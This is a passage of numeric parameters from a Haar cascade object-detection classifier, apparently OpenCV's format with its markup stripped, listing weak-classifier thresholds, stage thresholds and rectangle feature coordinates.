7.3831682093441486e-03 + + -3.5756360739469528e-02 4.9498590826988220e-01 + <_> + + 0 -1 857 3.2115620560944080e-03 + + -1.0125560313463211e-01 1.5747989714145660e-01 + <_> + + 0 -1 858 -7.8209668397903442e-02 + + -7.6627081632614136e-01 2.2965829819440842e-02 + <_> + + 0 -1 859 5.3303989261621609e-05 + + -1.3414350152015686e-01 1.1114919930696487e-01 + <_> + + 0 -1 860 -9.6419155597686768e-03 + + 2.5068029761314392e-01 -6.6608138382434845e-02 + <_> + + 0 -1 861 -7.1092672646045685e-02 + + -4.0056818723678589e-01 4.0297791361808777e-02 + <_> + + 0 -1 862 3.5171560011804104e-04 + + 4.1861180216073990e-02 -3.2961198687553406e-01 + <_> + + 0 -1 863 -3.3458150574006140e-04 + + -2.6029831171035767e-01 6.7892737686634064e-02 + <_> + + 0 -1 864 -4.1451421566307545e-03 + + 2.3967699706554413e-01 -7.2093337774276733e-02 + <_> + + 0 -1 865 3.1754500232636929e-03 + + -7.1235269308090210e-02 2.4128450453281403e-01 + <_> + + 0 -1 866 -5.5184490047395229e-03 + + 5.0320237874984741e-01 -2.9686680063605309e-02 + <_> + + 0 -1 867 -3.0242869979701936e-04 + + 2.4879050254821777e-01 -5.6758578866720200e-02 + <_> + + 0 -1 868 -1.3125919504091144e-03 + + 3.1747800111770630e-01 -4.1845861822366714e-02 + <_> + + 0 -1 869 -2.7123570907860994e-04 + + -2.7042070031166077e-01 5.6828990578651428e-02 + <_> + + 0 -1 870 -7.3241777718067169e-03 + + 2.7556678652763367e-01 -5.4252970963716507e-02 + <_> + + 0 -1 871 -1.6851710155606270e-02 + + -3.4852910041809082e-01 4.5368999242782593e-02 + <_> + + 0 -1 872 2.9902100563049316e-02 + + 3.1621079891920090e-02 -4.3114370107650757e-01 + <_> + + 0 -1 873 2.8902660124003887e-03 + + 3.8029961287975311e-02 -3.7027099728584290e-01 + <_> + + 0 -1 874 -1.9242949783802032e-03 + + 2.4800279736518860e-01 -5.9333298355340958e-02 + <_> + + 0 -1 875 4.9354149959981441e-03 + + -8.3068400621414185e-02 2.2043809294700623e-01 + <_> + + 0 -1 876 8.2075603306293488e-02 + + -1.9413439556956291e-02 6.9089287519454956e-01 + <_> + + 0 -1 877 -2.4699489586055279e-04 + + -2.4660569429397583e-01 6.4776450395584106e-02 + <_> + + 0 -1 878 -1.8365769647061825e-03 + + 2.8836160898208618e-01 -5.3390458226203918e-02 + <_> + + 0 -1 879 -4.9553811550140381e-03 + + 1.2740829586982727e-01 -1.2559419870376587e-01 + <_> + + 0 -1 880 -8.3086621016263962e-03 + + 2.3478110134601593e-01 -7.1676492691040039e-02 + <_> + + 0 -1 881 -1.0879919677972794e-01 + + -2.5992238521575928e-01 5.8689739555120468e-02 + <_> + + 0 -1 882 -9.6786450594663620e-03 + + -7.0720428228378296e-01 1.8749259412288666e-02 + <_> + + 0 -1 883 -2.7136830613017082e-02 + + -5.8384227752685547e-01 2.1684130653738976e-02 + <_> + + 0 -1 884 -6.5389778465032578e-03 + + -5.9748911857604980e-01 2.1480310708284378e-02 + <_> + + 0 -1 885 -1.2095630168914795e-02 + + 1.3269039988517761e-01 -9.9722720682621002e-02 + <_> + + 0 -1 886 -1.6776099801063538e-01 + + -5.6655067205429077e-01 3.2123088836669922e-02 + <_> + + 0 -1 887 -1.3262550346553326e-02 + + 1.1495590209960938e-01 -1.1738389730453491e-01 + <_> + + 0 -1 888 7.6744519174098969e-02 + + -3.1413231045007706e-02 5.9935492277145386e-01 + <_> + + 0 -1 889 5.0785229541361332e-03 + + -5.2911940962076187e-02 2.3342399299144745e-01 + <_> + + 0 -1 890 3.1800279393792152e-03 + + -7.7734388411045074e-02 1.7652909457683563e-01 + <_> + + 0 -1 891 -1.7729829996824265e-03 + + 1.9591629505157471e-01 -7.9752199351787567e-02 + <_> + + 0 -1 892 -4.8560940194875002e-04 + + -2.8800371289253235e-01 4.9047119915485382e-02 + <_> + + 0 -1 893 3.6554320831783116e-04 + + 6.7922897636890411e-02 -2.2499430179595947e-01 + <_> + + 0 -1 894 -2.6938671362586319e-04 + + 1.6582170128822327e-01 -8.9744098484516144e-02 + <_> + + 0 -1 895 7.8684233129024506e-02 + + 2.6081679388880730e-02 -5.5693739652633667e-01 + <_> + + 0 -1 896 -7.3774810880422592e-04 + + 1.4036870002746582e-01 -1.1800300329923630e-01 + <_> + + 0 -1 897 2.3957829922437668e-02 + + 3.0470740050077438e-02 -4.6159979701042175e-01 + <_> + + 0 -1 898 -1.6239080578088760e-03 + + 2.6327079534530640e-01 -5.6765370070934296e-02 + <_> + + 0 -1 899 -9.0819748584181070e-04 + + 1.5462459623813629e-01 -1.1087069660425186e-01 + <_> + + 0 -1 900 3.9806248969398439e-04 + + 5.5630370974540710e-02 -2.8331959247589111e-01 + <_> + + 0 -1 901 2.0506449509412050e-03 + + -9.1604836285114288e-02 1.7585539817810059e-01 + <_> + + 0 -1 902 2.6742549613118172e-02 + + 6.2003031373023987e-02 -2.4487000703811646e-01 + <_> + + 0 -1 903 -2.1497008856385946e-03 + + 2.9449298977851868e-01 -5.3218148648738861e-02 + <_> + + 0 -1 904 5.6671658530831337e-03 + + -6.4298242330551147e-02 2.4905680119991302e-01 + <_> + + 0 -1 905 6.8317902332637459e-05 + + -1.6819630563259125e-01 9.6548579633235931e-02 + <_> + + 0 -1 906 1.7600439605303109e-04 + + 6.5308012068271637e-02 -2.4267880618572235e-01 + <_> + + 0 -1 907 4.1861608624458313e-03 + + -9.7988583147525787e-02 1.8052889406681061e-01 + <_> + + 0 -1 908 -2.1808340679854155e-03 + + 1.9231270253658295e-01 -9.4123929738998413e-02 + <_> + + 0 -1 909 2.1730400621891022e-02 + + 3.5578511655330658e-02 -4.5088538527488708e-01 + <_> + + 0 -1 910 -1.4780269935727119e-02 + + -4.3927010893821716e-01 3.1735591590404510e-02 + <_> + + 0 -1 911 -3.6145891062915325e-03 + + 1.9811479747295380e-01 -7.7701419591903687e-02 + <_> + + 0 -1 912 1.8892709631472826e-03 + + 1.9962439313530922e-02 -7.2041720151901245e-01 + <_> + + 0 -1 913 -1.3822480104863644e-03 + + 9.8466947674751282e-02 -1.4881080389022827e-01 + <_> + + 0 -1 914 -3.9505911991000175e-03 + + 1.1593230068683624e-01 -1.2791970372200012e-01 + <_> + 58 + -1.0129359960556030e+00 + + <_> + + 0 -1 915 -1.9395539537072182e-02 + + 4.7474750876426697e-01 -1.1721090227365494e-01 + <_> + + 0 -1 916 1.3118919916450977e-02 + + -2.5552129745483398e-01 1.6378800570964813e-01 + <_> + + 0 -1 917 -5.1606801571324468e-04 + + 1.9452619552612305e-01 -1.7448890209197998e-01 + <_> + + 0 -1 918 -1.3184159994125366e-02 + + 4.4181451201438904e-01 -9.0048752725124359e-02 + <_> + + 0 -1 919 3.4657081123441458e-03 + + -1.3477090001106262e-01 1.8056340515613556e-01 + <_> + + 0 -1 920 6.2980200164020061e-03 + + -5.4164979606866837e-02 3.6033380031585693e-01 + <_> + + 0 -1 921 1.6879989998415112e-03 + + -1.9997949898242950e-01 1.2021599709987640e-01 + <_> + + 0 -1 922 3.6039709812030196e-04 + + 1.0524140298366547e-01 -2.4116060137748718e-01 + <_> + + 0 -1 923 -1.5276849735528231e-03 + + 2.8135529160499573e-01 -6.8964816629886627e-02 + <_> + + 0 -1 924 3.5033570602536201e-03 + + -8.2519583404064178e-02 4.0713590383529663e-01 + <_> + + 0 -1 925 -4.7337161377072334e-03 + + 1.9727009534835815e-01 -1.1710140109062195e-01 + <_> + + 0 -1 926 -1.1557149700820446e-02 + + -5.6061112880706787e-01 6.8170957267284393e-02 + <_> + + 0 -1 927 -2.7445720508694649e-02 + + 4.9718621373176575e-01 -6.2380149960517883e-02 + <_> + + 0 -1 928 -5.2825778722763062e-02 + + 1.6921220719814301e-01 -1.3093550503253937e-01 + <_> + + 0 -1 929 -2.9849699139595032e-01 + + -6.4649671316146851e-01 4.0076818317174911e-02 + <_> + + 0 -1 930 -2.6307269581593573e-04 + + 2.5127941370010376e-01 -8.9494839310646057e-02 + <_> + + 0 -1 931 2.3261709429789335e-04 + + -8.6843989789485931e-02 2.3831979930400848e-01 + <_> + + 0 -1 932 2.3631360090803355e-04 + + 1.1554460227489471e-01 -1.8936349451541901e-01 + <_> + + 0 -1 933 2.0742209162563086e-03 + + -4.8594851046800613e-02 5.7485991716384888e-01 + <_> + + 0 -1 934 -7.0308889262378216e-03 + + -5.4120808839797974e-01 4.8743750900030136e-02 + <_> + + 0 -1 935 8.2652270793914795e-03 + + 2.6494519785046577e-02 -6.1728459596633911e-01 + <_> + + 0 -1 936 2.0042760297656059e-04 + + -1.1768630146980286e-01 1.6333860158920288e-01 + <_> + + 0 -1 937 1.6470040427520871e-03 + + -5.9954918920993805e-02 3.5179701447486877e-01 + <_> + + 0 -1 938 -3.5642538568936288e-04 + + -3.4420299530029297e-01 6.4948253333568573e-02 + <_> + + 0 -1 939 -3.0935870483517647e-02 + + 1.9979700446128845e-01 -9.7693696618080139e-02 + <_> + + 0 -1 940 -6.3578772824257612e-04 + + -3.1481391191482544e-01 5.9425041079521179e-02 + <_> + + 0 -1 941 -1.1862180195748806e-02 + + 2.0043690502643585e-01 -8.9447543025016785e-02 + <_> + + 0 -1 942 7.1508930996060371e-03 + + -3.9006061851978302e-02 5.3327161073684692e-01 + <_> + + 0 -1 943 -2.0059191156178713e-03 + + -2.8469720482826233e-01 7.0723608136177063e-02 + <_> + + 0 -1 944 3.6412389017641544e-03 + + -1.0660319775342941e-01 2.4944800138473511e-01 + <_> + + 0 -1 945 -1.3467429578304291e-01 + + 4.9910080432891846e-01 -4.0332220494747162e-02 + <_> + + 0 -1 946 -2.2547659464180470e-03 + + 1.6851690411567688e-01 -1.1119280010461807e-01 + <_> + + 0 -1 947 4.3842289596796036e-03 + + 8.6139492690563202e-02 -2.7431771159172058e-01 + <_> + + 0 -1 948 -7.3361168615520000e-03 + + 2.4875210225582123e-01 -9.5919162034988403e-02 + <_> + + 0 -1 949 6.4666912658140063e-04 + + 6.7431576550006866e-02 -3.3754080533981323e-01 + <_> + + 0 -1 950 2.2983769304119051e-04 + + -8.3903051912784576e-02 2.4584099650382996e-01 + <_> + + 0 -1 951 6.7039071582257748e-03 + + 2.9079329222440720e-02 -6.9055938720703125e-01 + <_> + + 0 -1 952 5.0734888645820320e-05 + + -1.5696719288825989e-01 1.1965429782867432e-01 + <_> + + 0 -1 953 -2.0335559546947479e-01 + + -6.9506347179412842e-01 2.7507519349455833e-02 + <_> + + 0 -1 954 9.4939414411783218e-03 + + -8.7449371814727783e-02 2.3968330025672913e-01 + <_> + + 0 -1 955 -2.4055240210145712e-03 + + 2.1150960028171539e-01 -1.3148930668830872e-01 + <_> + + 0 -1 956 -1.1342419747961685e-04 + + 1.5233789384365082e-01 -1.2725900113582611e-01 + <_> + + 0 -1 957 1.4992210082709789e-02 + + -3.4127969294786453e-02 5.0624072551727295e-01 + <_> + + 0 -1 958 7.4068200774490833e-04 + + 4.8764750361442566e-02 -4.0225321054458618e-01 + <_> + + 0 -1 959 -4.2459447868168354e-03 + + 2.1554760634899139e-01 -8.7126992642879486e-02 + <_> + + 0 -1 960 6.8655109498649836e-04 + + -7.5418718159198761e-02 2.6405909657478333e-01 + <_> + + 0 -1 961 -1.6751460731029510e-02 + + -6.7729032039642334e-01 3.2918728888034821e-02 + <_> + + 0 -1 962 -2.6301678735762835e-04 + + 2.2725869715213776e-01 -9.0534873306751251e-02 + <_> + + 0 -1 963 4.3398610432632267e-04 + + 5.5894378572702408e-02 -3.5592669248580933e-01 + <_> + + 0 -1 964 -2.0150149241089821e-02 + + 1.9162760674953461e-01 -9.4929970800876617e-02 + <_> + + 0 -1 965 -1.4452129602432251e-02 + + -6.8510341644287109e-01 2.5422170758247375e-02 + <_> + + 0 -1 966 -2.1149739623069763e-02 + + 3.7533190846443176e-01 -5.1496580243110657e-02 + <_> + + 0 -1 967 2.1137770265340805e-02 + + 2.9083080589771271e-02 -8.9430367946624756e-01 + <_> + + 0 -1 968 1.1524349683895707e-03 + + -6.9694936275482178e-02 2.7299800515174866e-01 + <_> + + 0 -1 969 -1.9070580310653895e-04 + + 1.8228119611740112e-01 -9.8367072641849518e-02 + <_> + + 0 -1 970 -3.6349631845951080e-02 + + -8.3693099021911621e-01 2.5055760517716408e-02 + <_> + + 0 -1 971 -9.0632075443863869e-03 + + 4.1463500261306763e-01 -5.4413449019193649e-02 + <_> + + 0 -1 972 -2.0535490475594997e-03 + + -1.9750310480594635e-01 1.0506899654865265e-01 + <_> + 93 + -9.7747492790222168e-01 + + <_> + + 0 -1 973 -2.2717019543051720e-02 + + 2.4288550019264221e-01 -1.4745520055294037e-01 + <_> + + 0 -1 974 2.5505950674414635e-02 + + -2.8551739454269409e-01 1.0837209969758987e-01 + <_> + + 0 -1 975 -2.6640091091394424e-03 + + 2.9275730252265930e-01 -1.0372710227966309e-01 + <_> + + 0 -1 976 -3.8115289062261581e-03 + + 2.1426899731159210e-01 -1.3811139762401581e-01 + <_> + + 0 -1 977 -1.6732690855860710e-02 + + 2.6550260186195374e-01 -4.3911330401897430e-02 + <_> + + 0 -1 978 4.9277010839432478e-04 + + 2.1104559302330017e-02 -4.2971360683441162e-01 + <_> + + 0 -1 979 -3.6691110581159592e-02 + + 5.3992420434951782e-01 -4.3648801743984222e-02 + <_> + + 0 -1 980 1.2615970335900784e-03 + + -1.2933869659900665e-01 1.6638770699501038e-01 + <_> + + 0 -1 981 -8.4106856957077980e-03 + + -9.4698411226272583e-01 2.1465849131345749e-02 + <_> + + 0 -1 982 6.4902722835540771e-02 + + -7.1727760136127472e-02 2.6613479852676392e-01 + <_> + + 0 -1 983 3.0305000022053719e-02 + + -8.2782492041587830e-02 2.7694320678710938e-01 + <_> + + 0 -1 984 2.5875340215861797e-03 + + -1.2966169416904449e-01 1.7756630480289459e-01 + <_> + + 0 -1 985 -7.0240451022982597e-03 + + -6.4243179559707642e-01 3.9943210780620575e-02 + <_> + + 0 -1 986 -1.0099769569933414e-03 + + 1.4176610112190247e-01 -1.1659970134496689e-01 + <_> + + 0 -1 987 -4.1179071558872238e-05 + + 1.5687669813632965e-01 -1.1127340048551559e-01 + <_> + + 0 -1 988 -4.7293151146732271e-04 + + -3.3554559946060181e-01 4.5977730304002762e-02 + <_> + + 0 -1 989 -1.7178079579025507e-03 + + 1.6952909529209137e-01 -1.0578069835901260e-01 + <_> + + 0 -1 990 -1.3333169743418694e-02 + + -5.8257812261581421e-01 3.0978430062532425e-02 + <_> + + 0 -1 991 -1.8783430568873882e-03 + + 1.4266879856586456e-01 -1.1131259799003601e-01 + <_> + + 0 -1 992 -6.5765981562435627e-03 + + 2.7561360597610474e-01 -5.3100328892469406e-02 + <_> + + 0 -1 993 -7.7210381277836859e-05 + + 1.3240240514278412e-01 -1.1167799681425095e-01 + <_> + + 0 -1 994 2.1968539804220200e-02 + + -2.6968160644173622e-02 5.0067168474197388e-01 + <_> + + 0 -1 995 -2.7445750311017036e-02 + + -2.4086740612983704e-01 6.0478270053863525e-02 + <_> + + 0 -1 996 7.8305849456228316e-05 + + -1.3334889709949493e-01 1.0123469680547714e-01 + <_> + + 0 -1 997 7.0190683007240295e-02 + + -5.4863780736923218e-02 2.4809940159320831e-01 + <_> + + 0 -1 998 -7.1902133524417877e-02 + + -3.7846690416336060e-01 4.2210999876260757e-02 + <_> + + 0 -1 999 -1.0780979692935944e-01 + + -3.7486588954925537e-01 4.2833440005779266e-02 + <_> + + 0 -1 1000 1.4364200178533792e-03 + + 8.0476358532905579e-02 -1.7263789474964142e-01 + <_> + + 0 -1 1001 6.8289190530776978e-02 + + -3.5595789551734924e-02 4.0761318802833557e-01 + <_> + + 0 -1 1002 -6.8037179298698902e-03 + + 1.9233790040016174e-01 -8.2368023693561554e-02 + <_> + + 0 -1 1003 -5.6193489581346512e-04 + + 1.3057120144367218e-01 -1.4355149865150452e-01 + <_> + + 0 -1 1004 -5.8276649564504623e-02 + + -3.0125439167022705e-01 5.2819650620222092e-02 + <_> + + 0 -1 1005 -6.1205718666315079e-03 + + 2.2043900191783905e-01 -7.5691752135753632e-02 + <_> + + 0 -1 1006 -1.3594309799373150e-02 + + -3.9049360156059265e-01 4.1857108473777771e-02 + <_> + + 0 -1 1007 1.3626200379803777e-03 + + -9.5363423228263855e-02 1.4970320463180542e-01 + <_> + + 0 -1 1008 -1.5074219845701009e-04 + + -2.3945580422878265e-01 6.4798332750797272e-02 + <_> + + 0 -1 1009 -7.7414259314537048e-02 + + 5.5941981077194214e-01 -2.4516880512237549e-02 + <_> + + 0 -1 1010 9.2117872554808855e-04 + + 5.4928861558437347e-02 -2.7934810519218445e-01 + <_> + + 0 -1 1011 1.0250780032947659e-03 + + -6.2167309224605560e-02 2.4976369738578796e-01 + <_> + + 0 -1 1012 -8.1174750812351704e-04 + + 2.3437939584255219e-01 -6.5725810825824738e-02 + <_> + + 0 -1 1013 8.3431020379066467e-02 + + 5.0954800099134445e-02 -3.1020981073379517e-01 + <_> + + 0 -1 1014 -9.2014456167817116e-03 + + -3.9242538809776306e-01 3.2926950603723526e-02 + <_> + + 0 -1 1015 -2.9086650465615094e-04 + + -3.1039750576019287e-01 4.9711819738149643e-02 + <_> + + 0 -1 1016 7.7576898038387299e-03 + + -4.4040750712156296e-02 3.6431351304054260e-01 + <_> + + 0 -1 1017 -1.2466090172529221e-01 + + -8.1957077980041504e-01 1.9150640815496445e-02 + <_> + + 0 -1 1018 1.3242550194263458e-02 + + 3.8988839834928513e-02 -3.3230680227279663e-01 + <_> + + 0 -1 1019 -6.6770128905773163e-03 + + -3.5790139436721802e-01 4.0460210293531418e-02 + <_> + + 0 -1 1020 -2.7479929849505424e-03 + + 2.5253900885581970e-01 -5.6427821516990662e-02 + <_> + + 0 -1 1021 8.2659651525318623e-04 + + -7.1988657116889954e-02 2.2780479490756989e-01 + <_> + + 0 -1 1022 -5.0153400748968124e-02 + + -6.3036471605300903e-01 2.7462050318717957e-02 + <_> + + 0 -1 1023 7.4203149415552616e-03 + + -6.6610716283321381e-02 2.7787339687347412e-01 + <_> + + 0 -1 1024 -6.7951780511066318e-04 + + -3.6327061057090759e-01 4.2795430868864059e-02 + <_> + + 0 -1 1025 -1.9305750029161572e-03 + + 1.4196230471134186e-01 -1.0759980231523514e-01 + <_> + + 0 -1 1026 -3.8132671033963561e-04 + + 2.1591760218143463e-01 -7.0202663540840149e-02 + <_> + + 0 -1 1027 -7.0990346372127533e-02 + + 4.5266601443290710e-01 -4.0750481188297272e-02 + <_> + + 0 -1 1028 -5.3368080407381058e-02 + + -6.7674058675765991e-01 1.9288340583443642e-02 + <_> + + 0 -1 1029 -2.0064849406480789e-02 + + -4.3365430831909180e-01 3.1853288412094116e-02 + <_> + + 0 -1 1030 1.1976360110566020e-03 + + -2.6559870690107346e-02 5.0797182321548462e-01 + <_> + + 0 -1 1031 -2.2697300300933421e-04 + + 1.8012599647045135e-01 -8.3606548607349396e-02 + <_> + + 0 -1 1032 1.5262699685990810e-02 + + -2.0238929986953735e-01 6.7422017455101013e-02 + <_> + + 0 -1 1033 -2.0811769366264343e-01 + + 6.6943860054016113e-01 -2.2452110424637794e-02 + <_> + + 0 -1 1034 1.5514369588345289e-03 + + -7.5121842324733734e-02 1.7326919734477997e-01 + <_> + + 0 -1 1035 -5.2924010902643204e-02 + + 2.4992519617080688e-01 -6.2879167497158051e-02 + <_> + + 0 -1 1036 -2.1648850291967392e-02 + + -2.9194280505180359e-01 5.2614491432905197e-02 + <_> + + 0 -1 1037 -2.2905069636180997e-04 + + -2.2117300331592560e-01 6.3168339431285858e-02 + <_> + + 0 -1 1038 5.0170070608146489e-05 + + -1.1510709673166275e-01 1.1611440032720566e-01 + <_> + + 0 -1 1039 -1.6416069411206990e-04 + + 1.5871520340442657e-01 -8.2600601017475128e-02 + <_> + + 0 -1 1040 -1.2003289535641670e-02 + + 1.2218090146780014e-01 -1.1229699850082397e-01 + <_> + + 0 -1 1041 -1.7784100025892258e-02 + + -3.5072788596153259e-01 3.1341921538114548e-02 + <_> + + 0 -1 1042 -6.3457582145929337e-03 + + 1.3078069686889648e-01 -1.0574410110712051e-01 + <_> + + 0 -1 1043 -7.9523242311552167e-04 + + 1.7204670608043671e-01 -8.6001992225646973e-02 + <_> + + 0 -1 1044 -3.1029590172693133e-04 + + -2.8433170914649963e-01 5.1817119121551514e-02 + <_> + + 0 -1 1045 -1.7053710296750069e-02 + + 3.9242428541183472e-01 -4.0143270045518875e-02 + <_> + + 0 -1 1046 4.6504959464073181e-03 + + -3.1837560236454010e-02 4.1237699985504150e-01 + <_> + + 0 -1 1047 -1.0358760133385658e-02 + + -5.6993198394775391e-01 2.9248379170894623e-02 + <_> + + 0 -1 1048 -2.2196240723133087e-02 + + -4.5605289936065674e-01 2.6285989210009575e-02 + <_> + + 0 -1 1049 -7.0536029525101185e-03 + + 1.5998320281505585e-01 -9.1594859957695007e-02 + <_> + + 0 -1 1050 -5.7094299700111151e-04 + + -1.4076329767704010e-01 1.0287419706583023e-01 + <_> + + 0 -1 1051 -2.2152599412947893e-03 + + 1.6593599319458008e-01 -8.5273988544940948e-02 + <_> + + 0 -1 1052 -2.8084890916943550e-02 + + 2.7022340893745422e-01 -5.5873811244964600e-02 + <_> + + 0 -1 1053 2.1515151020139456e-03 + + 4.2472891509532928e-02 -3.2005849480628967e-01 + <_> + + 0 -1 1054 -2.9733829433098435e-04 + + 1.6177169978618622e-01 -8.5115589201450348e-02 + <_> + + 0 -1 1055 -1.6694780439138412e-02 + + -4.2858770489692688e-01 3.0541609972715378e-02 + <_> + + 0 -1 1056 1.1982990056276321e-01 + + -1.6277290880680084e-02 7.9846781492233276e-01 + <_> + + 0 -1 1057 -3.5499420482665300e-04 + + 1.5935939550399780e-01 -8.3272881805896759e-02 + <_> + + 0 -1 1058 -1.8226269632577896e-02 + + 1.9527280330657959e-01 -7.3939889669418335e-02 + <_> + + 0 -1 1059 -4.0238600922748446e-04 + + 7.9101808369159698e-02 -2.0806129276752472e-01 + <_> + + 0 -1 1060 4.0892060496844351e-04 + + 1.0036630183458328e-01 -1.5128210186958313e-01 + <_> + + 0 -1 1061 9.5368112670257688e-04 + + -7.3011666536331177e-02 2.1752020716667175e-01 + <_> + + 0 -1 1062 4.3081799149513245e-01 + + -2.7450699359178543e-02 5.7061582803726196e-01 + <_> + + 0 -1 1063 5.3564831614494324e-04 + + 1.1587540060281754e-01 -1.2790560722351074e-01 + <_> + + 0 -1 1064 2.4430730263702571e-05 + + -1.6816629469394684e-01 8.0449983477592468e-02 + <_> + + 0 -1 1065 -5.5345650762319565e-02 + + 4.5338949561119080e-01 -3.1222779303789139e-02 + + <_> + + <_> + 0 8 20 12 -1. + <_> + 0 14 20 6 2. + <_> + + <_> + 9 1 4 15 -1. + <_> + 9 6 4 5 3. + <_> + + <_> + 6 10 9 2 -1. + <_> + 9 10 3 2 3. + <_> + + <_> + 7 0 10 9 -1. + <_> + 7 3 10 3 3. + <_> + + <_> + 12 2 2 18 -1. + <_> + 12 8 2 6 3. + <_> + + <_> + 8 6 8 6 -1. + <_> + 8 9 8 3 2. + <_> + + <_> + 2 0 17 18 -1. + <_> + 2 6 17 6 3. + <_> + + <_> + 10 10 1 8 -1. + <_> + 10 14 1 4 2. + <_> + + <_> + 7 10 9 2 -1. + <_> + 10 10 3 2 3. + <_> + + <_> + 5 1 6 6 -1. + <_> + 5 3 6 2 3. + <_> + + <_> + 3 1 15 9 -1. + <_> + 3 4 15 3 3. + <_> + + <_> + 6 3 9 6 -1. + <_> + 6 5 9 2 3. + <_> + + <_> + 8 17 6 3 -1. + <_> + 10 17 2 3 3. + <_> + + <_> + 9 10 9 1 -1. + <_> + 12 10 3 1 3. + <_> + + <_> + 1 7 6 11 -1. + <_> + 3 7 2 11 3. + <_> + + <_> + 9 18 3 1 -1. + <_> + 10 18 1 1 3. + <_> + + <_> + 16 16 1 2 -1. + <_> + 16 17 1 1 2. + <_> + + <_> + 9 17 6 3 -1. + <_> + 11 17 2 3 3. + <_> + + <_> + 8 0 5 18 -1. + <_> + 8 6 5 6 3. + <_> + + <_> + 6 7 9 7 -1. + <_> + 9 7 3 7 3. + <_> + + <_> + 14 6 6 10 -1. + <_> + 16 6 2 10 3. + <_> + + <_> + 9 8 9 5 -1. + <_> + 12 8 3 5 3. + <_> + + <_> + 3 7 9 6 -1. + <_> + 6 7 3 6 3. + <_> + + <_> + 1 7 6 6 -1. + <_> + 3 7 2 6 3. + <_> + + <_> + 16 0 4 18 -1. + <_> + 16 6 4 6 3. + <_> + + <_> + 0 17 3 3 -1. + <_> + 0 18 3 1 3. + <_> + + <_> + 16 0 2 1 -1. + <_> + 17 0 1 1 2. + <_> + + <_> + 0 8 20 12 -1. + <_> + 0 14 20 6 2. + <_> + + <_> + 6 6 9 8 -1. + <_> + 9 6 3 8 3. + <_> + + <_> + 5 3 12 9 -1. + <_> + 5 6 12 3 3. + <_> + + <_> + 4 16 1 2 -1. + <_> + 4 17 1 1 2. + <_> + + <_> + 18 10 2 1 -1. + <_> + 19 10 1 1 2. + <_> + + <_> + 9 8 6 5 -1. + <_> + 11 8 2 5 3. + <_> + + <_> + 0 0 2 1 -1. + <_> + 1 0 1 1 2. + <_> + + <_> + 6 8 6 6 -1. + <_> + 8 8 2 6 3. + <_> + + <_> + 11 7 6 7 -1. + <_> + 13 7 2 7 3. + <_> + + <_> + 19 14 1 2 -1. + <_> + 19 15 1 1 2. + <_> + + <_> + 6 17 1 2 -1. + <_> + 6 18 1 1 2. + <_> + + <_> + 14 7 2 7 -1. + <_> + 15 7 1 7 2. + <_> + + <_> + 6 8 2 4 -1. + <_> + 7 8 1 4 2. + <_> + + <_> + 5 8 12 6 -1. + <_> + 5 10 12 2 3. + <_> + + <_> + 2 17 1 3 -1. + <_> + 2 18 1 1 3. + <_> + + <_> + 6 7 3 6 -1. + <_> + 7 7 1 6 3. + <_> + + <_> + 6 7 9 12 -1. + <_> + 9 7 3 12 3. + <_> + + <_> + 6 2 11 12 -1. + <_> + 6 6 11 4 3. + <_> + + <_> + 1 12 5 8 -1. + <_> + 1 16 5 4 2. + <_> + + <_> + 14 7 6 7 -1. + <_> + 16 7 2 7 3. + <_> + + <_> + 10 8 6 6 -1. + <_> + 12 8 2 6 3. + <_> + + <_> + 16 18 4 2 -1. + <_> + 16 19 4 1 2. + <_> + + <_> + 18 17 2 3 -1. + <_> + 18 18 2 1 3. + <_> + + <_> + 9 7 3 7 -1. + <_> + 10 7 1 7 3. + <_> + + <_> + 5 6 6 8 -1. + <_> + 7 6 2 8 3. + <_> + + <_> + 2 6 6 11 -1. + <_> + 4 6 2 11 3. + <_> + + <_> + 8 10 12 8 -1. + <_> + 8 14 12 4 2. + <_> + + <_> + 7 17 6 3 -1. + <_> + 9 17 2 3 3. + <_> + + <_> + 10 9 3 3 -1. + <_> + 11 9 1 3 3. + <_> + + <_> + 8 8 3 6 -1. + <_> + 9 8 1 6 3. + <_> + + <_> + 7 0 6 5 -1. + <_> + 9 0 2 5 3. + <_> + + <_> + 6 17 1 3 -1. + <_> + 6 18 1 1 3. + <_> + + <_> + 0 18 4 2 -1. + <_> + 0 19 4 1 2. + <_> + + <_> + 4 1 11 9 -1. + <_> + 4 4 11 3 3. + <_> + + <_> + 3 1 14 9 -1. + <_> + 3 4 14 3 3. + <_> + + <_> + 0 9 6 4 -1. + <_> + 2 9 2 4 3. + <_> + + <_> + 18 13 1 2 -1. + <_> + 18 14 1 1 2. + <_> + + <_> + 13 5 3 11 -1. + <_> + 14 5 1 11 3. + <_> + + <_> + 0 18 8 2 -1. + <_> + 0 18 4 1 2. + <_> + 4 19 4 1 2. + <_> + + <_> + 5 8 12 5 -1. + <_> + 9 8 4 5 3. + <_> + + <_> + 4 7 11 10 -1. + <_> + 4 12 11 5 2. + <_> + + <_> + 14 9 6 4 -1. + <_> + 16 9 2 4 3. + <_> + + <_> + 0 7 6 8 -1. + <_> + 3 7 3 8 2. + <_> + + <_> + 0 16 3 3 -1. + <_> + 0 17 3 1 3. + <_> + + <_> + 7 11 12 1 -1. + <_> + 11 11 4 1 3. + <_> + + <_> + 4 8 9 4 -1. + <_> + 7 8 3 4 3. + <_> + + <_> + 5 16 6 4 -1. + <_> + 7 16 2 4 3. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 4 9 4 10 -1. + <_> + 4 9 2 5 2. + <_> + 6 14 2 5 2. + <_> + + <_> + 4 8 6 4 -1. + <_> + 6 8 2 4 3. + <_> + + <_> + 10 2 2 18 -1. + <_> + 10 8 2 6 3. + <_> + + <_> + 0 5 8 6 -1. + <_> + 0 5 4 3 2. + <_> + 4 8 4 3 2. + <_> + + <_> + 6 0 6 5 -1. + <_> + 8 0 2 5 3. + <_> + + <_> + 18 0 2 14 -1. + <_> + 18 7 2 7 2. + <_> + + <_> + 8 18 4 2 -1. + <_> + 10 18 2 2 2. + <_> + + <_> + 1 17 6 3 -1. + <_> + 1 18 6 1 3. + <_> + + <_> + 11 8 3 5 -1. + <_> + 12 8 1 5 3. + <_> + + <_> + 11 8 3 4 -1. + <_> + 12 8 1 4 3. + <_> + + <_> + 11 0 6 5 -1. + <_> + 13 0 2 5 3. + <_> + + <_> + 1 7 6 7 -1. + <_> + 3 7 2 7 3. + <_> + + <_> + 0 13 1 3 -1. + <_> + 0 14 1 1 3. + <_> + + <_> + 3 2 9 6 -1. + <_> + 3 4 9 2 3. + <_> + + <_> + 8 6 9 2 -1. + <_> + 8 7 9 1 2. + <_> + + <_> + 0 14 3 6 -1. + <_> + 